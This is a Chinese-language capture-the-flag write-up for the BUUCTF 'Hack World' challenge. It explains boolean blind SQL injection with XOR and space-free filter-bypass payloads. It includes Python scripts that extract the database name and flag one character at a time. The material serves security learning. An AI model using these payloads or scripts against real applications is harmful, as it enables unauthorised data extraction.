BUUCTF | [CISCN2019 華北賽區 Day2 Web1]Hack World

id=0 id=1 id=2 id=3 

發現結果不同，嘗試 : ">4","=4","<4" : 

在本身的環境下驗證一下：

 爆一下數據庫：

id=(ascii(substr(database(),1,1))>32)

''' @Modify Time @Author ------------ ------- 2019/10/25 19:28 laoalo '''
import requests from lxml import etree def a(): url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/" flag="Hello, glzjin wants a girlfriend." final="" stop=0 for i in range(1,129): print("*"*50,i,"*"*50) stop=0 for j in range(32,129): stop = j data={"id":"(ascii(substr(database(),%d,1))=%d)" %(i,j)} # data={"id":"(ascii(substr((select flag from flag),%d,1))=%d)" %(i,j)}
             re = requests.post(url=url,data=data).text.replace('\n','') html = etree.HTML(re).xpath("//text()") print(">>",html) if flag in html: final+=chr(j) print("\n\t\t\t\t",final) break

         if stop >= 128: print("*"*50,"結束") print(">>",final) break

if __name__ == '__main__': a()

View Code

過濾如何處理： 

在爆flag的時候發現有過濾 :select,show,""……非常難受，後來在師傅的博客上看到了這種方法：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

1^1=0 ，0^0=0 ，0^1=1

1^1^1=0， 1^1^0=0
構造payload:1^ascii(mid(database(),1,1)=98)^0

注意這裏會多加一個^0或1是由於在盲注的時候可能出現了語法錯誤也沒法判斷,而改變這裏的0或1,若是返回的結果是不一樣的,那就能夠證實語法是沒有問題的

其實不用抑或也行：

id=(ascii(substr((select(flag)from(flag)),1,1))<128)

 竟然去掉空格就成功繞過了Orz，這個方法要學習一下，這裏貼一下個人腳本，沒有用二分十分簡單的枚舉：

''' @Modify Time @Author ------------ ------- 2019/10/25 19:28 laoalo ''' import requests from lxml import etree def a(): url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/" flag="Hello, glzjin wants a girlfriend." final="" stop=0 for i in range(1,1290): print("*"*50,i,"*"*50) stop=0 for j in range(32,129): stop = j data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)} re = requests.post(url=url,data=data).text.replace('\n','') html = etree.HTML(re).xpath("//text()") # print(">>",html) if flag in html: final+=chr(j) print("\n\t\t\t\t",final) break if stop >= 128: print("*"*50,"結束") print(">>",final) break if __name__ == '__main__': a()

 

---

參考資料：

SQL注入學習總結(八):其餘SQL注入的異或注入：https://blog.csdn.net/weixin_30740295/article/details/96833688

buuctf-web-[CISCN2019 華北賽區 Day2 Web1]Hack World：https://blog.csdn.net/weixin_43345082/article/details/99062970